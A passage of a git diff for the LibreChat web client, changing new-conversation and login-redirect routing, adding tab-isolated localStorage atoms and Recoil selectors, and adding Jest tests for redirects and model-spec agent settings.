endpointsQuery.data && modelsQuery.data) { + const isNewConvo = conversationId === Constants.NEW_CONVO; + + const getNewConvoPreset = () => { const result = getDefaultModelSpec(startupConfig); const spec = result?.default ?? result?.last; + const specPreset = spec ? getModelSpecPreset(spec) : undefined; + + const queryParams: Record = {}; + searchParams.forEach((value, key) => { + if (key !== 'prompt' && key !== 'q' && key !== 'submit') { + queryParams[key] = value; + } + }); + const querySettings = processValidSettings(queryParams); + + return Object.keys(querySettings).length > 0 + ? { ...specPreset, ...querySettings } + : specPreset; + }; + + if (isNewConvo && endpointsQuery.data && modelsQuery.data) { + const preset = getNewConvoPreset(); + logger.log('conversation', 'ChatRoute, new convo effect', conversation); newConversation({ modelsData: modelsQuery.data, template: conversation ? conversation : undefined, - ...(spec ? { preset: getModelSpecPreset(spec) } : {}), + ...(preset ? { preset } : {}), }); hasSetConversation.current = true; @@ -93,17 +129,40 @@ export default function ChatRoute() { }); hasSetConversation.current = true; } else if ( - conversationId === Constants.NEW_CONVO && - assistantListMap[EModelEndpoint.assistants] && - assistantListMap[EModelEndpoint.azureAssistants] + conversationId && + endpointsQuery.data && + modelsQuery.data && + initialConvoQuery.isError && + isNotFoundError(initialConvoQuery.error) ) { const result = getDefaultModelSpec(startupConfig); const spec = result?.default ?? result?.last; + showToast({ + message: localize('com_ui_conversation_not_found'), + severity: NotificationSeverity.WARNING, + }); + logger.log( + 'conversation', + 'ChatRoute initialConvoQuery isNotFoundError', + initialConvoQuery.error, + ); + newConversation({ + modelsData: modelsQuery.data, + ...(spec ? { preset: getModelSpecPreset(spec) } : {}), + }); + hasSetConversation.current = true; + } else if ( + isNewConvo && + assistantListMap[EModelEndpoint.assistants] && + assistantListMap[EModelEndpoint.azureAssistants] + ) { + const preset = getNewConvoPreset(); + logger.log('conversation', 'ChatRoute new convo, assistants effect', conversation); newConversation({ modelsData: modelsQuery.data, template: conversation ? conversation : undefined, - ...(spec ? { preset: getModelSpecPreset(spec) } : {}), + ...(preset ? { preset } : {}), }); hasSetConversation.current = true; } else if ( @@ -125,6 +184,7 @@ export default function ChatRoute() { roles, startupConfig, initialConvoQuery.data, + initialConvoQuery.isError, endpointsQuery.data, modelsQuery.data, assistantListMap, diff --git a/client/src/routes/Layouts/Startup.tsx b/client/src/routes/Layouts/Startup.tsx index 9c9e0952dd..bb0e5ef254 100644 --- a/client/src/routes/Layouts/Startup.tsx +++ b/client/src/routes/Layouts/Startup.tsx @@ -1,9 +1,10 @@ import { useEffect, useState } from 'react'; import { Outlet, useNavigate, useLocation } from 'react-router-dom'; import type { TStartupConfig } from 'librechat-data-provider'; +import { TranslationKeys, useLocalize } from '~/hooks'; import { useGetStartupConfig } from '~/data-provider'; import AuthLayout from '~/components/Auth/AuthLayout'; -import { TranslationKeys, useLocalize } from '~/hooks'; +import { REDIRECT_PARAM, SESSION_KEY } from '~/utils'; const headerMap: Record = { '/login': 'com_auth_welcome_back', @@ -30,7 +31,12 @@ export default function StartupLayout({ isAuthenticated }: { isAuthenticated?: b useEffect(() => { if (isAuthenticated) { - navigate('/c/new', { replace: true }); + const hasPendingRedirect = + new URLSearchParams(window.location.search).has(REDIRECT_PARAM) || + sessionStorage.getItem(SESSION_KEY) != null; + if (!hasPendingRedirect) { + navigate('/c/new', { replace: true }); + } } if (data) { setStartupConfig(data); diff --git a/client/src/routes/Root.tsx b/client/src/routes/Root.tsx index 3e6bff1457..b9adae032b 100644 --- a/client/src/routes/Root.tsx +++ b/client/src/routes/Root.tsx @@ -88,6 +88,7 @@ export default function Root() { } : undefined } + {...{ inert: navVisible && isSmallScreen ? '' : undefined }} > diff --git a/client/src/routes/__tests__/StartupLayout.spec.tsx b/client/src/routes/__tests__/StartupLayout.spec.tsx new file mode 100644 index 0000000000..372345fe1c --- /dev/null +++ b/client/src/routes/__tests__/StartupLayout.spec.tsx @@ -0,0 +1,114 @@ +/* eslint-disable i18next/no-literal-string */ +import React from 'react'; +import { render, waitFor } from '@testing-library/react'; +import { createMemoryRouter, RouterProvider } from 'react-router-dom'; +import StartupLayout from '~/routes/Layouts/Startup'; +import { SESSION_KEY } from '~/utils'; + +if (typeof Request === 'undefined') { + global.Request = class Request { + constructor( + public url: string, + public init?: RequestInit, + ) {} + } as any; +} + +jest.mock('~/data-provider', () => ({ + useGetStartupConfig: jest.fn(() => ({ + data: null, + isFetching: false, + error: null, + })), +})); + +jest.mock('~/hooks', () => ({ + useLocalize: jest.fn(() => (key: string) => key), + TranslationKeys: {}, +})); + +jest.mock('~/components/Auth/AuthLayout', () => { + return function MockAuthLayout({ children }: { children: React.ReactNode }) { + return
{children}
; + }; +}); + +function ChildRoute() { + return
Child
; +} + +function NewConversation() { + return
New Conversation
; +} + +const createTestRouter = (initialEntry: string, isAuthenticated: boolean) => + createMemoryRouter( + [ + { + path: '/login', + element: , + children: [{ index: true, element: }], + }, + { + path: '/c/new', + element: , + }, + ], + { initialEntries: [initialEntry] }, + ); + +describe('StartupLayout — redirect race condition', () => { + beforeEach(() => { + sessionStorage.clear(); + }); + + afterEach(() => { + window.history.replaceState({}, '', '/'); + jest.restoreAllMocks(); + }); + + it('navigates to /c/new when authenticated with no pending redirect', async () => { + window.history.replaceState({}, '', '/login'); + + const router = createTestRouter('/login', true); + render(); + + await waitFor(() => { + expect(router.state.location.pathname).toBe('/c/new'); + }); + }); + + it('does NOT navigate to /c/new when redirect_to URL param is present', async () => { + window.history.replaceState({}, '', '/login?redirect_to=%2Fc%2Fabc123'); + + const router = createTestRouter('/login?redirect_to=%2Fc%2Fabc123', true); + render(); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + expect(router.state.location.pathname).toBe('/login'); + }); + + it('does NOT navigate to /c/new when sessionStorage redirect is present', async () => { + window.history.replaceState({}, '', '/login'); + sessionStorage.setItem(SESSION_KEY, '/c/abc123'); + + const router = createTestRouter('/login', true); + render(); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + expect(router.state.location.pathname).toBe('/login'); + }); + + it('does NOT navigate when not authenticated', async () => { + window.history.replaceState({}, '', '/login'); + + const router = createTestRouter('/login', false); + render(); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + expect(router.state.location.pathname).toBe('/login'); + }); +}); diff --git a/client/src/routes/__tests__/useAuthRedirect.spec.tsx b/client/src/routes/__tests__/useAuthRedirect.spec.tsx index 19226aa29f..adb06e15bc 100644 --- a/client/src/routes/__tests__/useAuthRedirect.spec.tsx +++ b/client/src/routes/__tests__/useAuthRedirect.spec.tsx @@ -33,9 +33,8 @@ function TestComponent() { * Creates a test router with optional basename to verify navigation works correctly * with subdirectory deployments (e.g., /librechat) */ -const createTestRouter = (basename = '/') => { - // When using basename, initialEntries must include the basename - const initialEntry = basename === '/' ? '/' : `${basename}/`; +const createTestRouter = (basename = '/', initialEntry?: string) => { + const defaultEntry = basename === '/' ? '/' : `${basename}/`; return createMemoryRouter( [ @@ -47,10 +46,14 @@ const createTestRouter = (basename = '/') => { path: '/login', element:
Login Page
, }, + { + path: '/c/:id', + element: , + }, ], { basename, - initialEntries: [initialEntry], + initialEntries: [initialEntry ?? defaultEntry], }, ); }; @@ -199,4 +202,104 @@ describe('useAuthRedirect', () => { expect(testResult.isAuthenticated).toBe(true); }); }); + + it('should include redirect_to param with encoded current path when redirecting', async () => { + (useAuthContext as jest.Mock).mockReturnValue({ + user: null, + isAuthenticated: false, + }); + + const router = createTestRouter('/', '/c/abc123'); + render(); + + await waitFor( + () => { + expect(router.state.location.pathname).toBe('/login'); + const search = router.state.location.search; + const params = new URLSearchParams(search); + const redirectTo = params.get('redirect_to'); + expect(redirectTo).not.toBeNull(); + expect(decodeURIComponent(redirectTo!)).toBe('/c/abc123'); + }, + { timeout: 1000 }, + ); + }); + + it('should encode query params and hash from the source URL', async () => { + (useAuthContext as jest.Mock).mockReturnValue({ + user: null, + isAuthenticated: false, + }); + + const router = createTestRouter('/', '/c/abc123?q=hello&submit=true#section'); + render(); + + await waitFor( + () => { + expect(router.state.location.pathname).toBe('/login'); + const params = new URLSearchParams(router.state.location.search); + const decoded = decodeURIComponent(params.get('redirect_to')!); + expect(decoded).toBe('/c/abc123?q=hello&submit=true#section'); + }, + { timeout: 1000 }, + ); + }); + + it('should not include basename in redirect_to param (prevents path doubling)', async () => { + (useAuthContext as jest.Mock).mockReturnValue({ + user: null, + isAuthenticated: false, + }); + + /** + * Validates that React Router's useLocation() strips the basename before + * buildLoginRedirectUrl receives it, so redirect_to never contains + * the base prefix. The BASE_URL stripping logic inside buildLoginRedirectUrl + * (for callers using window.location.pathname) is tested in + * api-endpoints-subdir.spec.ts. + */ + const router = createTestRouter('/librechat', '/librechat/c/abc123'); + render(); + + await waitFor( + () => { + expect(router.state.location.pathname).toBe('/librechat/login'); + const search = router.state.location.search; + const params = new URLSearchParams(search); + const redirectTo = decodeURIComponent(params.get('redirect_to')!); + /** redirect_to should be /c/abc123, NOT /librechat/c/abc123 + * because navigate() with basename will re-add the prefix */ + expect(redirectTo).toBe('/c/abc123'); + expect(redirectTo).not.toContain('/librechat/'); + }, + { timeout: 1000 }, + ); + }); + + it('should not append redirect_to when already on /login', async () => { + (useAuthContext as jest.Mock).mockReturnValue({ + user: null, + isAuthenticated: false, + }); + + const router = createMemoryRouter( + [ + { + path: '/login', + element: , + }, + ], + { initialEntries: ['/login'] }, + ); + render(); + + await waitFor( + () => { + expect(router.state.location.pathname).toBe('/login'); + }, + { timeout: 1000 }, + ); + + expect(router.state.location.search).toBe(''); + }); }); diff --git a/client/src/routes/useAuthRedirect.ts b/client/src/routes/useAuthRedirect.ts index 86d8103384..cc277cd74e 100644 --- a/client/src/routes/useAuthRedirect.ts +++ b/client/src/routes/useAuthRedirect.ts @@ -1,22 +1,28 @@ import { useEffect } from 'react'; -import { useNavigate } from 'react-router-dom'; +import { useLocation, useNavigate } from 'react-router-dom'; +import { buildLoginRedirectUrl } from 'librechat-data-provider'; import { useAuthContext } from '~/hooks'; export default function useAuthRedirect() { const { user, roles, isAuthenticated } = useAuthContext(); const navigate = useNavigate(); + const location = useLocation(); useEffect(() => { const timeout = setTimeout(() => { - if (!isAuthenticated) { - navigate('/login', { replace: true }); + if (isAuthenticated) { + return; } + + navigate(buildLoginRedirectUrl(location.pathname, location.search, location.hash), { + replace: true, + }); }, 300); return () => { clearTimeout(timeout); }; - }, [isAuthenticated, navigate]); + }, [isAuthenticated, navigate, location]); return { user, diff --git a/client/src/store/families.ts b/client/src/store/families.ts index 7faec7aa9d..30b8211ab5 100644 --- a/client/src/store/families.ts +++ b/client/src/store/families.ts @@ -6,13 +6,18 @@ import { atomFamily, DefaultValue, selectorFamily, - useRecoilState, useRecoilValue, useSetRecoilState, useRecoilCallback, } from 'recoil'; import { LocalStorageKeys, isEphemeralAgentId, Constants } from 'librechat-data-provider'; -import type { TMessage, TPreset, TConversation, TSubmission } from 'librechat-data-provider'; +import type { + EModelEndpoint, + TConversation, + TSubmission, + TMessage, + TPreset, +} from 'librechat-data-provider'; import type { TOptionSettings, ExtendedFile } from '~/common'; import { clearModelForNonEphemeralAgent, @@ -151,6 +156,54 @@ const allConversationsSelector = selector({ }, }); +const conversationIdByIndex = selectorFamily({ + key: 'conversationIdByIndex', + get: + (index: string | number) => + ({ get }) => + get(conversationByIndex(index))?.conversationId ?? null, +}); + +const conversationEndpointByIndex = selectorFamily({ + key: 'conversationEndpointByIndex', + get: + (index: string | number) => + ({ get }) => + get(conversationByIndex(index))?.endpoint ?? null, +}); + +const conversationModelByIndex = selectorFamily({ + key: 'conversationModelByIndex', + get: + (index: string | number) => + ({ get }) => + get(conversationByIndex(index))?.model ?? null, +}); + +const conversationSpecByIndex = selectorFamily({ + key: 'conversationSpecByIndex', + get: + (index: string | number) => + ({ get }) => + get(conversationByIndex(index))?.spec ?? null, +}); + +const conversationAgentIdByIndex = selectorFamily({ + key: 'conversationAgentIdByIndex', + get: + (index: string | number) => + ({ get }) => + get(conversationByIndex(index))?.agent_id ?? null, +}); + +const conversationAssistantIdByIndex = selectorFamily({ + key: 'conversationAssistantIdByIndex', + get: + (index: string | number) => + ({ get }) => + get(conversationByIndex(index))?.assistant_id ?? null, +}); + const presetByIndex = atomFamily({ key: 'presetByIndex', default: null, @@ -268,19 +321,27 @@ const messagesSiblingIdxFamily = atomFamily({ function useCreateConversationAtom(key: string | number) { const hasSetConversation = useSetConvoContext(); - const [keys, setKeys] = useRecoilState(conversationKeysAtom); - const setConversation = useSetRecoilState(conversationByIndex(key)); + const setKeys = useSetRecoilState(conversationKeysAtom); const conversation = useRecoilValue(conversationByIndex(key)); + const setConversation = useSetRecoilState(conversationByIndex(key)); useEffect(() => { - if (!keys.includes(key)) { - setKeys([...keys, key]); - } - }, [key, keys, setKeys]); + setKeys((prevKeys) => { + if (prevKeys.includes(key)) { + return prevKeys; + } + return [...prevKeys, key]; + }); + }, [key, setKeys]); return { hasSetConversation, conversation, setConversation }; } +function useSetConversationAtom(key: string | number) { + const { setConversation } = useCreateConversationAtom(key); + return { setConversation }; +} + function useClearConvoState() { /** Clears all active conversations. Pass `true` to skip the first or root conversation */ const clearAllConversations = useRecoilCallback( @@ -309,15 +370,7 @@ function useClearConvoState() { return clearAllConversations; } -const conversationByKeySelector = selectorFamily({ - key: 'conversationByKeySelector', - get: - (index: string | number) => - ({ get }) => { - const conversation = get(conversationByIndex(index)); - return conversation; - }, -}); +const conversationByKeySelector = conversationByIndex; function useClearSubmissionState() { const clearAllSubmissions = useRecoilCallback( @@ -411,9 +464,16 @@ export default { messagesSiblingIdxFamily, anySubmittingSelector, allConversationsSelector, + conversationIdByIndex, + conversationEndpointByIndex, + conversationModelByIndex, + conversationSpecByIndex, + conversationAgentIdByIndex, + conversationAssistantIdByIndex, conversationByKeySelector, useClearConvoState, useCreateConversationAtom, + useSetConversationAtom, showMentionPopoverFamily, globalAudioURLFamily, activeRunFamily, diff --git a/client/src/store/favorites.ts b/client/src/store/favorites.ts index b3744f52b0..9065f1ca4e 100644 --- a/client/src/store/favorites.ts +++ b/client/src/store/favorites.ts @@ -1,4 +1,4 @@ -import { createStorageAtom } from './jotai-utils'; +import { createTabIsolatedAtom } from './jotai-utils'; export type Favorite = { agentId?: string; @@ -16,4 +16,4 @@ export type FavoritesState = Favorite[]; /** * This atom stores the user's favorite models/agents */ -export const favoritesAtom = createStorageAtom('favorites', []); +export const favoritesAtom = createTabIsolatedAtom('favorites', []); diff --git a/client/src/store/jotai-utils.ts b/client/src/store/jotai-utils.ts index d3ca9d817c..5d2769d7e9 100644 --- a/client/src/store/jotai-utils.ts +++ b/client/src/store/jotai-utils.ts @@ -1,5 +1,6 @@ import { atom } from 'jotai'; import { atomWithStorage } from 'jotai/utils'; +import type { SyncStorage } from 'jotai/vanilla/utils/atomWithStorage'; /** * Create a simple atom with localStorage persistence @@ -42,6 +43,68 @@ export function createStorageAtomWithEffect( ); } +/** + * Create a SyncStorage adapter that reads/writes to localStorage but does NOT + * subscribe to browser `storage` events. This prevents cross-tab synchronization + * for atoms where each tab should maintain independent state. + * + * Use this for atoms that represent per-tab working state (e.g., favorites toggle, + * MCP server selections) rather than user preferences. + */ +export function createTabIsolatedStorage(): SyncStorage { + return { + getItem(key: string, initialValue: Value): Value { + if (typeof window === 'undefined') { + return initialValue; + } + try { + const stored = localStorage.getItem(key); + if (stored === null) { + return initialValue; + } + return JSON.parse(stored) as Value; + } catch { + return initialValue; + } + }, + setItem(key: string, newValue: Value): void { + if (typeof window === 'undefined') { + return; + } + try { + localStorage.setItem(key, JSON.stringify(newValue)); + } catch { + // quota exceeded or other write error — silently ignore + } + }, + removeItem(key: string): void { + if (typeof window === 'undefined') { + return; + } + try { + localStorage.removeItem(key); + } catch { + // silently ignore + } + }, + // subscribe intentionally omitted — prevents cross-tab sync via storage events + }; +} + +/** + * Create an atom with localStorage persistence that does NOT sync across tabs. + * Parallels `createStorageAtom` but uses tab-isolated storage. + * + * @param key - localStorage key + * @param defaultValue - default value if no saved value exists + * @returns Jotai atom with localStorage persistence, isolated per tab + */ +export function createTabIsolatedAtom(key: string, defaultValue: T) { + return atomWithStorage(key, defaultValue, createTabIsolatedStorage(), { + getOnInit: true, + }); +} + /** * Initialize a value from localStorage and optionally apply it * Useful for applying saved values on app startup (e.g., theme, fontSize) diff --git a/client/src/store/mcp.ts b/client/src/store/mcp.ts index e540b167e4..793e1cebd0 100644 --- a/client/src/store/mcp.ts +++ b/client/src/store/mcp.ts @@ -1,6 +1,14 @@ import { atom } from 'jotai'; import { atomFamily, atomWithStorage } from 'jotai/utils'; import { Constants, LocalStorageKeys } from 'librechat-data-provider'; +import { createTabIsolatedStorage } from './jotai-utils'; + +/** + * Tab-isolated storage for MCP values — prevents cross-tab sync so that + * each tab's MCP server selections are independent (especially for new chats + * which all share the same `LAST_MCP_new` localStorage key). + */ +const mcpTabIsolatedStorage = createTabIsolatedStorage(); /** * Creates a storage atom for MCP values per conversation @@ -10,7 +18,7 @@ export const mcpValuesAtomFamily = atomFamily((conversationId: string | null) => const key = conversationId ?? Constants.NEW_CONVO; const storageKey = `${LocalStorageKeys.LAST_MCP_}${key}`; - return atomWithStorage(storageKey, [], undefined, { getOnInit: true }); + return atomWithStorage(storageKey, [], mcpTabIsolatedStorage, { getOnInit: true }); }); /** diff --git a/client/src/style.css b/client/src/style.css index 689c05423d..cf3ea50294 100644 --- a/client/src/style.css +++ b/client/src/style.css @@ -70,6 +70,7 @@ html { --text-secondary-alt: var(--gray-500); --text-tertiary: var(--gray-500); --text-warning: var(--amber-500); + --text-destructive: var(--red-600); --ring-primary: var(--gray-500); --header-primary: var(--white); --header-hover: var(--gray-50); @@ -96,6 +97,7 @@ html { --border-medium: var(--gray-300); --border-heavy: var(--gray-400); --border-xheavy: var(--gray-500); + --border-destructive: var(--red-600); /* These are test styles */ --background: 0 0% 100%; @@ -131,6 +133,7 @@ html { --text-secondary-alt: var(--gray-400); --text-tertiary: var(--gray-500); --text-warning: var(--amber-500); + --text-destructive: var(--red-600); --header-primary: var(--gray-700); --header-hover: var(--gray-600); --header-button-hover: var(--gray-700); @@ -156,6 +159,7 @@ html { --border-medium: var(--gray-600); --border-heavy: var(--gray-500); --border-xheavy: var(--gray-400); + --border-destructive: var(--red-500); /* These are test styles */ --background: 0 0% 7%; diff --git a/client/src/utils/__tests__/applyModelSpecEphemeralAgent.test.ts b/client/src/utils/__tests__/applyModelSpecEphemeralAgent.test.ts new file mode 100644 index 0000000000..44bfbb82f7 --- /dev/null +++ b/client/src/utils/__tests__/applyModelSpecEphemeralAgent.test.ts @@ -0,0 +1,274 @@ +import { Constants, LocalStorageKeys } from 'librechat-data-provider'; +import type { TModelSpec, TEphemeralAgent } from 'librechat-data-provider'; +import { applyModelSpecEphemeralAgent } from '../endpoints'; +import { setTimestamp } from '../timestamps'; + +/** + * Tests for applyModelSpecEphemeralAgent — the function responsible for + * constructing the ephemeral agent state when navigating to a spec conversation. + * + * Desired behaviors: + * - New conversations always get the admin's exact spec configuration + * - Existing conversations merge per-conversation localStorage overrides on top of spec + * - Cleared localStorage for existing conversations falls back to fresh spec config + */ + +const createModelSpec = (overrides: Partial = {}): TModelSpec => + ({ + name: 'test-spec', + label: 'Test Spec', + preset: { endpoint: 'agents' }, + mcpServers: ['spec-server1'], + webSearch: true, + executeCode: true, + fileSearch: false, + artifacts: true, + ...overrides, + }) as TModelSpec; + +/** Write a value + fresh timestamp to localStorage (simulates a user toggle) */ +function writeToolToggle(storagePrefix: string, convoId: string, value: unknown): void { + const key = `${storagePrefix}${convoId}`; + localStorage.setItem(key, JSON.stringify(value)); + setTimestamp(key); +} + +describe('applyModelSpecEphemeralAgent', () => { + let updateEphemeralAgent: jest.Mock; + + beforeEach(() => { + localStorage.clear(); + updateEphemeralAgent = jest.fn(); + }); + + // ─── New Conversations ───────────────────────────────────────────── + + describe('new conversations always get fresh admin spec config', () => { + it('should apply exactly the admin-configured tools and MCP servers', () => { + const modelSpec = createModelSpec({ + mcpServers: ['clickhouse', 'github'], + executeCode: true, + webSearch: false, + fileSearch: true, + artifacts: true, + }); + + applyModelSpecEphemeralAgent({ + convoId: null, + modelSpec, + updateEphemeralAgent, + }); + + expect(updateEphemeralAgent).toHaveBeenCalledWith(Constants.NEW_CONVO, { + mcp: ['clickhouse', 'github'], + execute_code: true, + web_search: false, + file_search: true, + artifacts: 'default', + }); + }); + + it('should not read from localStorage even if stale values exist', () => { + // Simulate stale localStorage from a previous session + writeToolToggle(LocalStorageKeys.LAST_CODE_TOGGLE_, Constants.NEW_CONVO, false); + writeToolToggle(LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_, Constants.NEW_CONVO, true); + localStorage.setItem( + `${LocalStorageKeys.LAST_MCP_}${Constants.NEW_CONVO}`, + JSON.stringify(['stale-server']), + ); + + const modelSpec = createModelSpec({ executeCode: true, webSearch: false, mcpServers: [] }); + + applyModelSpecEphemeralAgent({ + convoId: null, + modelSpec, + updateEphemeralAgent, + }); + + const agent = updateEphemeralAgent.mock.calls[0][1] as TEphemeralAgent; + // Should be spec values, NOT localStorage values + expect(agent.execute_code).toBe(true); + expect(agent.web_search).toBe(false); + expect(agent.mcp).toEqual([]); + }); + + it('should handle spec with no MCP servers', () => { + const modelSpec = createModelSpec({ mcpServers: undefined }); + + applyModelSpecEphemeralAgent({ convoId: null, modelSpec, updateEphemeralAgent }); + + const agent = updateEphemeralAgent.mock.calls[0][1] as TEphemeralAgent; + expect(agent.mcp).toEqual([]); + }); + + it('should map artifacts: true to "default" string', () => { + const modelSpec = createModelSpec({ artifacts: true }); + + applyModelSpecEphemeralAgent({ convoId: null, modelSpec, updateEphemeralAgent }); + + const agent = updateEphemeralAgent.mock.calls[0][1] as TEphemeralAgent; + expect(agent.artifacts).toBe('default'); + }); + + it('should pass through artifacts string value directly', () => { + const modelSpec = createModelSpec({ artifacts: 'custom-renderer' as any }); + + applyModelSpecEphemeralAgent({ convoId: null, modelSpec, updateEphemeralAgent }); + + const agent = updateEphemeralAgent.mock.calls[0][1] as TEphemeralAgent; + expect(agent.artifacts).toBe('custom-renderer'); + }); + }); + + // ─── Existing Conversations: Per-Conversation Persistence ────────── + + describe('existing conversations merge user overrides from localStorage', () => { + const convoId = 'convo-abc-123'; + + it('should preserve user tool modifications across navigation', () => { + // User previously toggled off code execution and enabled file search + writeToolToggle(LocalStorageKeys.LAST_CODE_TOGGLE_, convoId, false); + writeToolToggle(LocalStorageKeys.LAST_FILE_SEARCH_TOGGLE_, convoId, true); + + const modelSpec = createModelSpec({ + executeCode: true, + fileSearch: false, + webSearch: true, + }); + + applyModelSpecEphemeralAgent({ convoId, modelSpec, updateEphemeralAgent }); + + const agent = updateEphemeralAgent.mock.calls[0][1] as TEphemeralAgent; + expect(agent.execute_code).toBe(false); // user override + expect(agent.file_search).toBe(true); // user override + expect(agent.web_search).toBe(true); // not overridden, spec value + }); + + it('should preserve user-added MCP servers across navigation', () => { + // Spec has clickhouse, user also added github during the conversation + localStorage.setItem( + `${LocalStorageKeys.LAST_MCP_}${convoId}`, + JSON.stringify(['clickhouse', 'github']), + ); + + const modelSpec = createModelSpec({ mcpServers: ['clickhouse'] }); + + applyModelSpecEphemeralAgent({ convoId, modelSpec, updateEphemeralAgent }); + + const agent = updateEphemeralAgent.mock.calls[0][1] as TEphemeralAgent; + expect(agent.mcp).toEqual(['clickhouse', 'github']); + }); + + it('should preserve user-removed MCP servers (empty array) across navigation', () => { + // User removed all MCP servers during the conversation + localStorage.setItem(`${LocalStorageKeys.LAST_MCP_}${convoId}`, JSON.stringify([])); + + const modelSpec = createModelSpec({ mcpServers: ['clickhouse', 'github'] }); + + applyModelSpecEphemeralAgent({ convoId, modelSpec, updateEphemeralAgent }); + + const agent = updateEphemeralAgent.mock.calls[0][1] as TEphemeralAgent; + expect(agent.mcp).toEqual([]); + }); + + it('should only override keys that exist in localStorage, leaving the rest as spec defaults', () => { + // User only changed artifacts, nothing else + writeToolToggle(LocalStorageKeys.LAST_ARTIFACTS_TOGGLE_, convoId, ''); + + const modelSpec = createModelSpec({ + executeCode: true, + webSearch: true, + fileSearch: false, + artifacts: true, + mcpServers: ['server1'], + }); + + applyModelSpecEphemeralAgent({ convoId, modelSpec, updateEphemeralAgent }); + + const agent = updateEphemeralAgent.mock.calls[0][1] as TEphemeralAgent; + expect(agent.execute_code).toBe(true); // spec default (not in localStorage) + expect(agent.web_search).toBe(true); // spec default + expect(agent.file_search).toBe(false); // spec default + expect(agent.artifacts).toBe(''); // user override + expect(agent.mcp).toEqual(['server1']); // spec default (not in localStorage) + }); + }); + + // ─── Existing Conversations: Cleared localStorage ────────────────── + + describe('existing conversations with cleared localStorage get fresh spec config', () => { + const convoId = 'convo-cleared-456'; + + it('should fall back to pure spec values when localStorage is empty', () => { + // localStorage.clear() was already called in beforeEach + + const modelSpec = createModelSpec({ + executeCode: true, + webSearch: false, + fileSearch: true, + artifacts: true, + mcpServers: ['server1', 'server2'], + }); + + applyModelSpecEphemeralAgent({ convoId, modelSpec, updateEphemeralAgent }); + + expect(updateEphemeralAgent).toHaveBeenCalledWith(convoId, { + mcp: ['server1', 'server2'], + execute_code: true, + web_search: false, + file_search: true, + artifacts: 'default', + }); + }); + + it('should fall back to spec values when timestamps have expired (>2 days)', () => { + // Write values with expired timestamps (3 days old) + const expiredTimestamp = (Date.now() - 3 * 24 * 60 * 60 * 1000).toString(); + const codeKey = `${LocalStorageKeys.LAST_CODE_TOGGLE_}${convoId}`; + localStorage.setItem(codeKey, JSON.stringify(false)); + localStorage.setItem(`${codeKey}_TIMESTAMP`, expiredTimestamp); + + const modelSpec = createModelSpec({ executeCode: true }); + + applyModelSpecEphemeralAgent({ convoId, modelSpec, updateEphemeralAgent }); + + const agent = updateEphemeralAgent.mock.calls[0][1] as TEphemeralAgent; + // Expired override should be ignored — spec value wins + expect(agent.execute_code).toBe(true); + }); + }); + + // ─── Guard Clauses ───────────────────────────────────────────────── + + describe('guard clauses', () => { + it('should not call updateEphemeralAgent when modelSpec is undefined', () => { + applyModelSpecEphemeralAgent({ + convoId: 'convo-1', + modelSpec: undefined, + updateEphemeralAgent, + }); + + expect(updateEphemeralAgent).not.toHaveBeenCalled(); + }); + + it('should not throw when updateEphemeralAgent is undefined', () => { + expect(() => + applyModelSpecEphemeralAgent({ + convoId: 'convo-1', + modelSpec: createModelSpec(), + updateEphemeralAgent: undefined, + }), + ).not.toThrow(); + }); + + it('should use NEW_CONVO key when convoId is empty string', () => { + applyModelSpecEphemeralAgent({ + convoId: '', + modelSpec: createModelSpec(), + updateEphemeralAgent, + }); + + expect(updateEphemeralAgent).toHaveBeenCalledWith(Constants.NEW_CONVO, expect.any(Object)); + }); + }); +}); diff --git a/client/src/utils/__tests__/buildDefaultConvo.test.ts b/client/src/utils/__tests__/buildDefaultConvo.test.ts new file mode 100644 index 0000000000..00a4d6313b --- /dev/null +++ b/client/src/utils/__tests__/buildDefaultConvo.test.ts @@ -0,0 +1,202 @@ +import { EModelEndpoint } from 'librechat-data-provider'; +import type { TConversation } from 'librechat-data-provider'; +import buildDefaultConvo from '../buildDefaultConvo'; + +jest.mock('../localStorage', () => ({ + getLocalStorageItems: jest.fn(() => ({ + lastSelectedModel: {}, + lastSelectedTools: [], + lastConversationSetup: {}, + })), +})); + +const baseConversation: TConversation = { + conversationId: 'test-convo-id', + title: 'Test Conversation', + createdAt: '2024-01-01T00:00:00Z', + updatedAt: '2024-01-01T00:00:00Z', + endpoint: null, +}; + +describe('buildDefaultConvo - defaultParamsEndpoint', () => { + describe('custom endpoint with defaultParamsEndpoint: anthropic', () => { + const models = ['anthropic/claude-opus-4.5', 'anthropic/claude-sonnet-4']; + + it('should preserve maxOutputTokens from model spec preset', () => { + const preset: TConversation = { + ...baseConversation, + endpoint: 'AnthropicClaude' as EModelEndpoint, + endpointType: EModelEndpoint.custom, + model: 'anthropic/claude-opus-4.5', + temperature: 0.7, + maxOutputTokens: 8192, + topP: 0.9, + maxContextTokens: 50000, + }; + + const result = buildDefaultConvo({ + models, + conversation: baseConversation, + endpoint: 'AnthropicClaude' as EModelEndpoint, + lastConversationSetup: preset, + defaultParamsEndpoint: EModelEndpoint.anthropic, + }); + + expect(result.maxOutputTokens).toBe(8192); + expect(result.topP).toBe(0.9); + expect(result.temperature).toBe(0.7); + expect(result.maxContextTokens).toBe(50000); + expect(result.model).toBe('anthropic/claude-opus-4.5'); + }); + + it('should strip maxOutputTokens without defaultParamsEndpoint', () => { + const preset: TConversation = { + ...baseConversation, + endpoint: 'AnthropicClaude' as EModelEndpoint, + endpointType: EModelEndpoint.custom, + model: 'anthropic/claude-opus-4.5', + temperature: 0.7, + maxOutputTokens: 8192, + }; + + const result = buildDefaultConvo({ + models, + conversation: baseConversation, + endpoint: 'AnthropicClaude' as EModelEndpoint, + lastConversationSetup: preset, + }); + + expect(result.maxOutputTokens).toBeUndefined(); + expect(result.temperature).toBe(0.7); + }); + + it('should strip OpenAI-specific fields when using anthropic params', () => { + const preset: TConversation = { + ...baseConversation, + endpoint: 'AnthropicClaude' as EModelEndpoint, + endpointType: EModelEndpoint.custom, + model: 'anthropic/claude-opus-4.5', + max_tokens: 4096, + top_p: 0.9, + presence_penalty: 0.5, + frequency_penalty: 0.3, + }; + + const result = buildDefaultConvo({ + models, + conversation: baseConversation, + endpoint: 'AnthropicClaude' as EModelEndpoint, + lastConversationSetup: preset, + defaultParamsEndpoint: EModelEndpoint.anthropic, + }); + + expect(result.max_tokens).toBeUndefined(); + expect(result.top_p).toBeUndefined(); + expect(result.presence_penalty).toBeUndefined(); + expect(result.frequency_penalty).toBeUndefined(); + }); + }); + + describe('custom endpoint without defaultParamsEndpoint (OpenAI default)', () => { + const models = ['gpt-4o', 